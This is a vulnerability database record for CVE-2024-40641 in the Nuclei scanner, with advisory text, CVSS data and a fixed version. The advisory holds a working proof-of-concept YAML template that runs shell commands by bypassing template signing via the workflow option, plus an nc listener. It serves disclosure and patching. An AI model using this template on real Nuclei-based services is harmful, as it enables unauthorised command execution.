{"id":"CVE-2024-40641","aliases":["GHSA-c3q9-c27p-cw9h","GO-2024-2989"],"url":"https://o3.security/vulnerability/CVE-2024-40641","summary":"Unsigned code template execution through workflows in projectdiscovery/nuclei","details":"### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n  name: example code template\n  author: ovi3\n\n\ncode:\n  - engine:\n      - sh\n      - bash\n    source: |\n      id\n\nhttp:\n  - raw:\n      - |\n        POST /re HTTP/1.1\n        Host: {{Hostname}}\n\n        {{code_response}}\n\nworkflows:\n  - matchers:\n    - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n","published":"2024-07-17T17:34:10.792Z","modified":"2026-08-12T03:51:16.197761086Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/projectdiscovery/nuclei/v3","fixedVersion":"3.3.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/40xxx/CVE-2024-40641.json"},{"type":"ADVISORY","url":"https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-40641"},{"type":"PACKAGE","url":"https://github.com/projectdiscovery/nuclei"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.197761086Z"}}